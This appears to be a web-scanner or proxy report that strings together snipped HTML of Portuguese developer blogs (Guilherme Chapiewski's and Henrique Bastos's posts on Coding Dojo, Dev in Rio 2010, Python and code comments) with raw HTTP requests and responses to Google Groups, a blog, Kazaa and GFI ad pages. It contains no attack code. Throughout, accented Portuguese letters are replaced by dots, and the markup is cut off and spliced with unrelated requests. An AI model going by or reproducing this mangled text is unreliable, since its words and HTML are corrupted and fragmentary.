onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/User_story?referer=');">hist..rias</a> ...[SNIP]... <p><a href="http://en.wikipedia.org/wiki/Code_smell" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Code_smell?referer=');">“Code smell”</a> .. um sintoma no seu c..digo que pode indicar um problema maior. Muitas vezes c..digos precisam ser documentados porque eles s..o desnecessariamente complexos. Sempre que poss..vel <a href="http://guilherme.pro/2009/04/05/why-i-dont-write-code-comments/" onclick="urchinTracker('/outgoing/guilherme.pro/2009/04/05/why-i-dont-write-code-comments/?referer=');">prefira refatorar o c..digo para ele ficar mais f..cil de entender ao inv..s de escrever coment..rios</a> ...[SNIP]... muda e o coment..rio fica l.. desatualizado, e isso acaba mais atrapalhando do que ajudando). Tenha uma boa suite de testes (uma suite bem escrita e organizada .. uma especifica....o execut..vel), use <a href="http://en.wikipedia.org/wiki/Domain-driven_design" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Domain-driven_design?referer=');">Domain-Driven Design</a> para expressar melhor o dom..nio do software, <a href="http://www.c2.com/cgi/wiki?SystemMetaphor" onclick="urchinTracker('/outgoing/www.c2.com/cgi/wiki?SystemMetaphor&referer=');">met..foras</a>, tenha um <a href="http://c2.com/xp/XpSimplicityRules.html" onclick="urchinTracker('/outgoing/c2.com/xp/XpSimplicityRules.html?referer=');">design simples</a>, use <a href="http://en.wikipedia.org/wiki/Design_pattern_%28computer_science%29" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Design_pattern_28computer_science_29?referer=');">design patterns</a> ...[SNIP]... </a> no Rio de Janeiro, criado e organizado por mim e o <a href="http://henriquebastos.net" onclick="urchinTracker('/outgoing/henriquebastos.net?referer=');">Henrique Bastos</a> ...[SNIP]... <p>Organizar esse evento foi uma experi..ncia excepcional. Para come..ar, tivemos a sorte de todos os planetas se alinharem e termos <a href="http://twitter.com/cozimek" onclick="urchinTracker('/outgoing/twitter.com/cozimek?referer=');">v..rios</a> <a href="http://twitter.com/jacobian" onclick="urchinTracker('/outgoing/twitter.com/jacobian?referer=');">amigos</a> <a href="http://twitter.com/jeffpatton" onclick="urchinTracker('/outgoing/twitter.com/jeffpatton?referer=');">internacionais</a> presentes no Rio de Janeiro na mesma semana. Quando decidimos tornar isso um evento, a <a href="http://twitter.com/akitaonrails" onclick="urchinTracker('/outgoing/twitter.com/akitaonrails?referer=');">galera</a> <a href="http://twitter.com/guilhermecaelum" onclick="urchinTracker('/outgoing/twitter.com/guilhermecaelum?referer=');">aqui</a> <a href="http://twitter.com/paulo_caelum" onclick="urchinTracker('/outgoing/twitter.com/paulo_caelum?referer=');">do</a> <a href="http://twitter.com/viniciusteles" onclick="urchinTracker('/outgoing/twitter.com/viniciusteles?referer=');">Brasil</a> ...[SNIP]... inscri....es e organizar todo o evento. Organizar uma confer..ncia de alta qualidade com palestrantes renomados foi uma experi..ncia ..nica, tanto para aprender o qu..o complicado .. quanto para poder <a href="http://vimeo.com/6604215" onclick="urchinTracker('/outgoing/vimeo.com/6604215?referer=');">curtir um gigantesco #horaextra</a> ...[SNIP]... <p>Mas num dos encontros mais recentes do <a href="http://horaextra.org" onclick="urchinTracker('/outgoing/horaextra.org?referer=');">#horaextra</a>, a galera decidiu se organizar para montar um outro evento. Liderados pelo Andr.. Fonseca, Ramon Page, Rodrigo Pinto e Sylvestre Mergulh..o, todos se dispuseram a colaborar com alguma <a href="http://smallactsmanifesto.org" onclick="urchinTracker('/outgoing/smallactsmanifesto.org?referer=');">pequena a....o</a> ...[SNIP]... <p>.. com muita felicidade que eu escrevo este post para dar a boa not..cia: vem a.. o <a href="http://devinrio.com.br" onclick="urchinTracker('/outgoing/devinrio.com.br?referer=');">Dev in Rio 2010</a> ...[SNIP]... <li>Um evento onde o #horaextra faz parte da programa....o (com direito a <a href="http://vimeo.com/6597629" onclick="urchinTracker('/outgoing/vimeo.com/6597629?referer=');">hino</a> ...[SNIP]... <p>Aguardem o <a href="http://devinrio.com.br" onclick="urchinTracker('/outgoing/devinrio.com.br?referer=');">Dev in Rio 2010</a> ...[SNIP]... <p>Na ..ltima sexta-feira (30 de Julho) n..s hospedamos aqui no escrit..rio do <a href="http://br.yahoo.com" onclick="urchinTracker('/outgoing/br.yahoo.com?referer=');">Yahoo!</a> nossa primeira reuni..o do grupo <a href="http://www.dojosp.org" onclick="urchinTracker('/outgoing/www.dojosp.org?referer=');">Coding Dojo SP</a> ...[SNIP]... <img src='http://gc.blog.br/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> Recebemos por volta de 30 desenvolvedores que participaram de um <a href="http://codingdojo.org/cgi-bin/wiki.pl?RandoriKata" onclick="urchinTracker('/outgoing/codingdojo.org/cgi-bin/wiki.pl?RandoriKata&referer=');">Randori</a> para resolver o problema de escrever n..meros por extenso em <a href="http://python.org" onclick="urchinTracker('/outgoing/python.org?referer=');">Python</a> (gra..as .. influ..ncia do nosso amigo Pythonista “<a href="http://isnomore.net" onclick="urchinTracker('/outgoing/isnomore.net?referer=');">rbp</a> ...[SNIP]... <p>Acabei de escrever um <a href="http://developer.yahoo.net/blog/archives/2010/08/coding_dojo_sao_paulo.html" onclick="urchinTracker('/outgoing/developer.yahoo.net/blog/archives/2010/08/coding_dojo_sao_paulo.html?referer=');">post no blog do Yahoo! Developer Network contando com mais detalhes como foi o encontro</a> (e explicando tamb..m o que diabos .. um <a href="http://codingdojo.org" onclick="urchinTracker('/outgoing/codingdojo.org?referer=');">Coding Dojo</a>). Voc.. tamb..m pode ver algumas <a href="http://www.flickr.com/photos/guilhermechapiewski/sets/72157624640168810/" onclick="urchinTracker('/outgoing/www.flickr.com/photos/guilhermechapiewski/sets/72157624640168810/?referer=');">fotos no meu Flickr</a> ...[SNIP]... <p>O pr..ximo encontro ser.. na semana que vem, ainda sem data definida. Para ficar por dentro das datas dos pr..ximos encontros, cadastre-se na <a href="http://groups.google.com/group/dojo_sp/" onclick="urchinTracker('/outgoing/groups.google.com/group/dojo_sp/?referer=');">lista de e-mails do grupo</a> ...[SNIP]... <p>H.. uns dois meses estava eu numa madrugada t..pica brincado de escrever c..digos aleat..rios, dessa vez usando o <a href="http://code.google.com/appengine/" onclick="urchinTracker('/outgoing/code.google.com/appengine/?referer=');">Google App Engine</a> ...[SNIP]... </strong> demais) fiquei t..o empolgado que soltei um daqueles posts meio aleat..rios no <a href="http://twitter.com" onclick="urchinTracker('/outgoing/twitter.com?referer=');">Twitter</a> ...[SNIP]... <i>“<a href="http://twitter.com/gchapiewski/status/12489805973" onclick="urchinTracker('/outgoing/twitter.com/gchapiewski/status/12489805973?referer=');">Google App Engine kicks serious ass!</a> ...[SNIP]... </i>. Muita gente estranhou, incluindo o meu amigo <a href="http://www.kumpera.net/blog/" onclick="urchinTracker('/outgoing/www.kumpera.net/blog/?referer=');">Rodrigo Kumpera</a> ...[SNIP]... <i>“<a href="http://twitter.com/kumpera/status/12498606245" onclick="urchinTracker('/outgoing/twitter.com/kumpera/status/12498606245?referer=');">@gchapiewski I thought you used to work for yahoo!</a> ...[SNIP]... </a> que fizemos em S..o Paulo em mar..o. Muitas pessoas acharam estranho e ficaram abismadas pelo fato do <a href="http://yahoo.com" onclick="urchinTracker('/outgoing/yahoo.com?referer=');">Yahoo!</a> e seus funcion..rios mostrarem hacks que faziam uso de <a href="http://maps.google.com" onclick="urchinTracker('/outgoing/maps.google.com?referer=');">Google Maps</a>, <a href="http://twitter.com" onclick="urchinTracker('/outgoing/twitter.com?referer=');">Twitter</a>, <a href="http://facebook.com" onclick="urchinTracker('/outgoing/facebook.com?referer=');">Facebook</a> ...[SNIP]... blog.br/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> Agora que eu trabalho no Yahoo! tenho que usar Y! Mail ao inv..s de Gmail? Ou ent..o tenho que programar usando apenas <a href="http://developer.yahoo.com/yui/" onclick="urchinTracker('/outgoing/developer.yahoo.com/yui/?referer=');">YUI</a> ao inv..s de <a href="http://jquery.com" onclick="urchinTracker('/outgoing/jquery.com?referer=');">jQuery</a> ...[SNIP]... </a>, mas n..o .. o que eu acredito. N..o me importo de usar <a href="http://java.sun.com" onclick="urchinTracker('/outgoing/java.sun.com?referer=');">Java</a> se for a melhor op....o para resolver meus problemas – apesar de adorar programar em <a href="http://www.ruby-lang.org" onclick="urchinTracker('/outgoing/www.ruby-lang.org?referer=');">Ruby</a>. Ou de aprender uma nova linguagem/ferramenta se ela se mostrar melhor para resolver alguma coisa (como quando eu precisei aprender <a href="http://www.actionscript.org" onclick="urchinTracker('/outgoing/www.actionscript.org?referer=');">ActionScript</a> para fazer coisas legais para o <a href="http://video.globo.com" onclick="urchinTracker('/outgoing/video.globo.com?referer=');">Globo V..deos</a> – apesar de eu nunca ter tido simpatia por <a href="http://www.adobe.com/products/flashplayer/" onclick="urchinTracker('/outgoing/www.adobe.com/products/flashplayer/?referer=');">Flash</a> ...[SNIP]... o profissional baseado em fatos e dados, n..o em prefer..ncias, traumas ou qualquer outro argumento sem l..gica. No caso que comecei a contar no in..cio desse post, eu estava programando um webservice <a href="http://en.wikipedia.org/wiki/Representational_State_Transfer" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Representational_State_Transfer?referer=');">REST</a> em <a href="http://python.org" onclick="urchinTracker('/outgoing/python.org?referer=');">Python</a> ...[SNIP]... <p>Veja s.., eu n..o acordo todo dia e vou para o trabalho s.. porque quero ganhar dinheiro ou porque sou obrigado a fazer isso. N..o fico <a href="http://twitter.com/gchapiewski/status/16757477472" onclick="urchinTracker('/outgoing/twitter.com/gchapiewski/status/16757477472?referer=');">at.. as 5 horas da manh.. hackeando as “entranhas” do Rhino com Java</a> ...[SNIP]... <param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=10713842&server=vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=00ADEF&fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=10713842&server=vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=00ADEF&fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="450" height="253"></embed> ...[SNIP]... </param><embed src="http://www.youtube.com/v/mIP4GLhtucI&hl=en_US&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="450" height="360"></embed> ...[SNIP]... <p>As fotos oficiais do evento est..o dispon..veis no <a href="http://www.flickr.com/photos/brhackday" onclick="urchinTracker('/outgoing/www.flickr.com/photos/brhackday?referer=');">nosso Flickr</a>. Temos tamb..m fotos tiradas pelos participantes <a href="http://www.flickr.com/groups/brhackday/pool/" onclick="urchinTracker('/outgoing/www.flickr.com/groups/brhackday/pool/?referer=');">no grupo “brhackday” do Flickr</a> ...[SNIP]... <div class="textwidget"><a rel="license" href="http://creativecommons.org/licenses/by/2.5/br/" onclick="urchinTracker('/outgoing/creativecommons.org/licenses/by/2.5/br/?referer=');"><img alt="Creative Commons License" style="border-width:0" src="http://creativecommons.org/images/public/somerights20.png" /></a> ...[SNIP]... </span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://guilherme.pro" property="cc:attributionName" rel="cc:attributionURL" onclick="urchinTracker('/outgoing/guilherme.pro?referer=');">Guilherme Chapiewski</a> está licenciado sob uma <a rel="license" href="http://creativecommons.org/licenses/by/2.5/br/" onclick="urchinTracker('/outgoing/creativecommons.org/licenses/by/2.5/br/?referer=');">Creative Commons Attribution 2.5 Brazil License</a> ...[SNIP]... <li><a href="http://m.artins.net" onclick="urchinTracker('/outgoing/m.artins.net?referer=');">Alexandre Martins Nunes</a> ...[SNIP]... <li><a href="http://anselmoalves.com" onclick="urchinTracker('/outgoing/anselmoalves.com?referer=');">Anselmo Alves</a> ...[SNIP]... <li><a href="http://acarlos.com.br/blog" onclick="urchinTracker('/outgoing/acarlos.com.br/blog?referer=');">Antonio Carlos Silveira</a> ...[SNIP]... <li><a href="http://blog.caelum.com.br" onclick="urchinTracker('/outgoing/blog.caelum.com.br?referer=');">Caelum</a></li> <li><a href="http://lixo.org" onclick="urchinTracker('/outgoing/lixo.org?referer=');">Carlos Villela</a> ...[SNIP]... <li><a href="http://bardusco.wordpress.com" onclick="urchinTracker('/outgoing/bardusco.wordpress.com?referer=');">Danilo Bardusco</a> ...[SNIP]... <li><a href="http://dtsato.com/blog/default" onclick="urchinTracker('/outgoing/dtsato.com/blog/default?referer=');">Danilo Sato</a> ...[SNIP]... <li><a href="http://plentz.org" onclick="urchinTracker('/outgoing/plentz.org?referer=');">Diego Pires Plentz</a> ...[SNIP]... <li><a href="http://akitaonrails.com" onclick="urchinTracker('/outgoing/akitaonrails.com?referer=');">Fabio Akita</a> ...[SNIP]... <li><a href="http://fabiokung.com" onclick="urchinTracker('/outgoing/fabiokung.com?referer=');">Fabio Kung</a> ...[SNIP]... <li><a href="http://guilherme.pro" onclick="urchinTracker('/outgoing/guilherme.pro?referer=');">Guilherme Chapiewski (en-US)</a> ...[SNIP]... <li><a href="http://gcirne.wordpress.com" onclick="urchinTracker('/outgoing/gcirne.wordpress.com?referer=');">Guilherme Cirne</a> ...[SNIP]... <li><a href="http://henriquebastos.net" onclick="urchinTracker('/outgoing/henriquebastos.net?referer=');">Henrique Bastos</a> ...[SNIP]... <li><a href="http://tapajos.me" onclick="urchinTracker('/outgoing/tapajos.me?referer=');">Marcos Tapaj..s</a> ...[SNIP]... <li><a href="http://www.fragmental.com.br" onclick="urchinTracker('/outgoing/www.fragmental.com.br?referer=');">Phillip Cal..ado</a> ...[SNIP]... <li><a href="http://blog.aspercom.com.br" onclick="urchinTracker('/outgoing/blog.aspercom.com.br?referer=');">Rodrigo Yoshima</a> ...[SNIP]... <li><a href="http://blog.improveit.com.br" onclick="urchinTracker('/outgoing/blog.improveit.com.br?referer=');">Vin..cius Manh..es Teles</a> ...[SNIP]... <p><script src="http://widgets.twimg.com/j/1/widget.js"></script></p> <link href="http://widgets.twimg.com/j/1/widget.css" type="text/css" rel="stylesheet"> <script> ...[SNIP]... <div class="textwidget"><script type="text/javascript" src="http://www.google.com/reader/ui/publisher-en.js"></script> <script type="text/javascript" src="http://www.google.com/reader/public/javascript/user/13324626892444451583/state/com.google/broadcast?n=10&callback=GRC_p(%7Bc%3A%22blue%22%2Ct%3A%22%22%2Cs%3A%22false%22%2Cb%3A%22false%22%7D)%3Bnew%20GRC"></script> ...[SNIP]... </div>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script> ...[SNIP]... <p> Guilherme Chapiewski is proudly powered by <a href="http://wordpress.org/" onclick="urchinTracker('/outgoing/wordpress.org/?referer=');">WordPress</a> ...[SNIP]... <!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/kubrick/ -->
GET /groups?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /groups?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: henriquebastos.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:36 GMT Server: Apache Vary: Cookie,Accept-Encoding X-Pingback: http://henriquebastos.net/xmlrpc.php WP-Super-Cache: WP-Cache Content-Length: 37326 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR">
<head p ...[SNIP]... <link rel="pingback" href="http://henriquebastos.net/xmlrpc.php" /> <link rel="openid.server" href="http://www.myopenid.com/server" /> <link rel="openid.delegate" href="http://henriquebastos.myopenid.com/" /> <style type="text/css" media="all"> ...[SNIP]... <li class="page_item"><a title="Curso Online Welcome to the Django" href="http://welcometothedjango.com.br/" onclick="pageTracker._trackPageview('/outgoing/welcometothedjango.com.br/?referer=');"><span> ...[SNIP]... <p>Isso mesmo! Se voc.. tinha d..vidas se <a href="http://python.org" onclick="pageTracker._trackPageview('/outgoing/python.org?referer=');">Python</a> estava crescendo, agora n..o tem mais. O <a href="http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html" onclick="pageTracker._trackPageview('/outgoing/www.tiobe.com/index.php/content/paperinfo/tpci/index.html?referer=');">TIOBE acabou de anunciar</a> ...[SNIP]... <p>Aqui no Rio de Janeiro a comunidade cria in..meros eventos como <a href="http://horaextra.org" onclick="pageTracker._trackPageview('/outgoing/horaextra.org?referer=');">#Horaextra</a>, <a href="http://dojorio.org" onclick="pageTracker._trackPageview('/outgoing/dojorio.org?referer=');">Dojorio</a>, <a href="http://openspacerio.org" onclick="pageTracker._trackPageview('/outgoing/openspacerio.org?referer=');">OpenSpaceRio</a>, <a href="http://pythoncampus.org" onclick="pageTracker._trackPageview('/outgoing/pythoncampus.org?referer=');">PythonCampus</a> ...[SNIP]... <p>Por isso, h.. alguns meses surgiu uma id..ia genial entre a galera da <a href="http://pythonrio.org" onclick="pageTracker._trackPageview('/outgoing/pythonrio.org?referer=');">PythonRio</a> ...[SNIP]... <p><a href="http://python.org" onclick="pageTracker._trackPageview('/outgoing/python.org?referer=');">Python</a> e <a href="http://djangoproject.com" onclick="pageTracker._trackPageview('/outgoing/djangoproject.com?referer=');">Django</a> ...[SNIP]... <p>Para explorar um pouco esse universo, meus amigos <a href="http://grokpodcast.com/sobre-carlos-brando" onclick="pageTracker._trackPageview('/outgoing/grokpodcast.com/sobre-carlos-brando?referer=');">Carlos Brando</a> e <a href="http://grokpodcast.com/sobre-rafael-rosa-fu/" onclick="pageTracker._trackPageview('/outgoing/grokpodcast.com/sobre-rafael-rosa-fu/?referer=');">Rafael Rosa Fu</a> me convidaram para falar um pouco sobre o assunto no <a href="http://www.grokpodcast.com/" onclick="pageTracker._trackPageview('/outgoing/www.grokpodcast.com/?referer=');">Grokpodcast</a> ...[SNIP]... <p>No in..cio do ano, eu fiz uma pesquisa sobre a comunidade <a href="http://python.org" onclick="pageTracker._trackPageview('/outgoing/python.org?referer=');">Python</a> ...[SNIP]... <p>Em pouco mais de 10 dias, mais de 300 pessoas responderam <a href="http://henriquebastos.wufoo.com/forms/vamos-divulgar-nossa-comunidade-python-na-pycon/" onclick="pageTracker._trackPageview('/outgoing/henriquebastos.wufoo.com/forms/vamos-divulgar-nossa-comunidade-python-na-pycon/?referer=');">o question..rio</a> ...[SNIP]... </strong> .. realmente uma caracter..stica marcante da comunidade Python. O <a href="http://henriquebastos.wufoo.com/reports/quem-somos/" onclick="pageTracker._trackPageview('/outgoing/henriquebastos.wufoo.com/reports/quem-somos/?referer=');">relat..rio “Quem Somos?”</a> ...[SNIP]... <p>O <a href="http://dojorio.org" onclick="pageTracker._trackPageview('/outgoing/dojorio.org?referer=');">Dojorio</a> na UFF, que aconteceu no ..ltimo dia 01 de dezembro, contou com um convidado pra l.. de especial. <a href="http://www.google.com.br/search?q=klaus+wuestefeld" onclick="pageTracker._trackPageview('/outgoing/www.google.com.br/search?q=klaus+wuestefeld&referer=');">Klaus Wuestefeld</a>, criador do <a href="http://www.prevayler.org/" onclick="pageTracker._trackPageview('/outgoing/www.prevayler.org/?referer=');">Prevayler</a> e do <a href="http://sneer.me/" onclick="pageTracker._trackPageview('/outgoing/sneer.me/?referer=');">Sneer</a>, estava no Rio para ministrar seu <a href="http://www.webgoal.com.br/treinamentos/learning-and-coolness/" onclick="pageTracker._trackPageview('/outgoing/www.webgoal.com.br/treinamentos/learning-and-coolness/?referer=');">treinamento Learning & Coolness</a> ...[SNIP]... <p>Aproveitando a presen..a do Klaus, fizemos o dojo em <a href="http://en.wikipedia.org/wiki/Java_%28programming_language%29" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Java_28programming_language_29?referer=');">Java</a> ...[SNIP]... </em>. Esse problema .. fant..stico! Os testes ficam simples, mas provocam uma revolu....o no c..digo .. cada nova asser....o. O resultado .. o foco constante em <a href="http://improveit.com.br/xp/praticas/refatoracao" onclick="pageTracker._trackPageview('/outgoing/improveit.com.br/xp/praticas/refatoracao?referer=');">refatora....o</a> ...[SNIP]... <div class="textwidget"><img src="http://www.gravatar.com/avatar/d47e5a6a94e793ad1a1c315d6ab63877.png" style="border: 2px solid grey; float: left; margin-right: 5px; margin-top: 4px;" />I'm a passionate software developer interested in ways of using technology to improve people lives. I'm an <em> ...[SNIP]... <img style="vertical-align: middle;" src="/wp-content/themes/fusion/images/follow-twitter.gif" alt=""/><a title="Twitter" href="http://twitter.com/henriquebastos" target="_blank" onclick="pageTracker._trackPageview('/outgoing/twitter.com/henriquebastos?referer=');">Twitter</a> ...[SNIP]... <img style="vertical-align: middle;" src="/wp-content/themes/fusion/images/follow-github.png" alt=""/><a target="_blank" href="http://github.com/henriquebastos" title="GitHub" onclick="pageTracker._trackPageview('/outgoing/github.com/henriquebastos?referer=');">GitHub</a> ...[SNIP]... <img style="vertical-align: middle;" src="/wp-content/themes/fusion/images/follow-facebook.gif" alt=""/><a target="_blank" href="http://www.facebook.com/henriquebastos" title="Facebook" onclick="pageTracker._trackPageview('/outgoing/www.facebook.com/henriquebastos?referer=');">Facebook</a> ...[SNIP]... <img style="vertical-align: middle;" src="/wp-content/themes/fusion/images/follow-delicious.gif" alt=""/><a target="_blank" href="http://delicious.com/henriquebastos" title="Delicious" onclick="pageTracker._trackPageview('/outgoing/delicious.com/henriquebastos?referer=');">Delicious</a> ...[SNIP]... <img style="vertical-align: middle;" src="/wp-content/themes/fusion/images/follow-flickr.gif" alt=""/><a target="_blank" href="http://www.flickr.com/photos/henriquebastos" title="Flickr" onclick="pageTracker._trackPageview('/outgoing/www.flickr.com/photos/henriquebastos?referer=');">Flickr</a> ...[SNIP]... <img style="vertical-align: middle;" src="/wp-content/themes/fusion/images/follow-slideshare.gif" alt=""/><a target="_blank" href="http://www.slideshare.net/henriquebastos" title="SlideShare" onclick="pageTracker._trackPageview('/outgoing/www.slideshare.net/henriquebastos?referer=');">SlideShare</a> ...[SNIP]... <div style="text-align: center;"><a href="http://welcometothedjango.com.br" title="Curso Online de Python e Django!" onclick="pageTracker._trackPageview('/outgoing/welcometothedjango.com.br?referer=');"><img src="http://henriquebastos.net/wp-content/uploads/2011/01/wttd-banner.gif" style="border: none;" alt="Aprenda Python e Django na pr..tica no Curso Welcome to the Django!" /> ...[SNIP]... <li><a href="http://metronus.com/blog/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/metronus.com/blog/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Andr.. Fonseca</a> ...[SNIP]... <li><a href="http://caikesouza.com/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/caikesouza.com/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Caike Souza</a> ...[SNIP]... <li><a href="http://diegodukao.net/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/diegodukao.net/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Diego Duk..o</a> ...[SNIP]... <li><a href="http://blog.distopico.org/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/blog.distopico.org/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Edgard Arakaki</a> ...[SNIP]... <li><a href="http://gc.blog.br/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/gc.blog.br/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Guilherme Chapiewski</a> ...[SNIP]... <li><a href="http://tapajos.me/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/tapajos.me/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Marcos Tapaj..s</a> ...[SNIP]... <li><a href="http://mariomariani.blogspot.com/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/mariomariani.blogspot.com/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">M..rio Mariani</a> ...[SNIP]... <li><a href="http://rafael.adm.br/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/rafael.adm.br/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Rafael Lima</a> ...[SNIP]... <li><a href="http://rafael.tauil.com.br/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/rafael.tauil.com.br/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Rafael Tauil</a> ...[SNIP]... <li><a href="http://ramonpage.com/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/ramonpage.com/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Ramon Bispo</a> ...[SNIP]... <li><a href="http://mergulhao.info/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/mergulhao.info/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Sylvestre Mergulh..o</a> ...[SNIP]... <li><a href="http://vp.blog.br/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra" onclick="pageTracker._trackPageview('/outgoing/vp.blog.br/?utm_source=horaextra.org_amp_utm_medium=affiliate_amp_utm_content=textlink_amp_utm_campaign=horaextra&referer=');">Vitor Pellegrino</a> ...[SNIP]... </div><script src="http://assets.skribit.com/javascripts/SkribitWidget.js?renderTo=writeSkribitHere&blog=1731f4d69ee15fa38acd7b30711cf595&cnt=5"></script><noscript>Sorry, but the <a href="http://skribit.com" title="Skribit - Cure Writer's Block" onclick="pageTracker._trackPageview('/outgoing/skribit.com?referer=');">Skribit</a> widget only works on browsers with JavaScript support. <a href="http://skribit.com/blogs/henrique-bastosnet" title="Skribit Suggestions for Henrique Bastos.NET" onclick="pageTracker._trackPageview('/outgoing/skribit.com/blogs/henrique-bastosnet?referer=');">View suggestions for this blog here.</a> ...[SNIP]... <div style="text-align: center;"> <script src="http://widgets.twimg.com/j/2/widget.js"></script> ...[SNIP]... <div style="text-align: center; text-align: center; margin-top: 15px;"><a href="http://smallactsmanifesto.org" title="Small Acts Manifesto" onclick="pageTracker._trackPageview('/outgoing/smallactsmanifesto.org?referer=');"><img src="http://smallactsmanifesto.org/media/images/smallacts-badge-110x32-blue.png" style="border: none;" alt="Small Acts Manifesto" /></a></div> </ br> <div style="text-align: center; margin-top: 15px;"> <a href="http://www.devinrio.com.br" onclick="pageTracker._trackPageview('/outgoing/www.devinrio.com.br?referer=');"><img src="http://www.devinrio.com.br/images/devinrio2010_euvou_210x60.gif" alt="Dev in Rio 2010"/></a> ...[SNIP]... <p>Tema Fusion por <a href="http://www.digitalnature.ro/projects/fusion" onclick="pageTracker._trackPageview('/outgoing/www.digitalnature.ro/projects/fusion?referer=');">digitalnature</a> | rodando por <a href="http://wordpress.org/" onclick="pageTracker._trackPageview('/outgoing/wordpress.org/?referer=');">WordPress</a> ...[SNIP]...
GET /promotions/signup.aspx?MCID=75&site=kasimer-ittig.com&client=ca-dp-sphere_related_xml HTTP/1.1 Host: join.kazaa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Wed, 19 Jan 2011 18:08:43 GMT Connection: close Content-Length: 27700
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head>
GET /event-log-analysis-sm/?adv=69&loc=727&client=ca-dp-sphere_related_xml HTTP/1.1 Host: landesm.gfi.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Event log analysis & management</title>
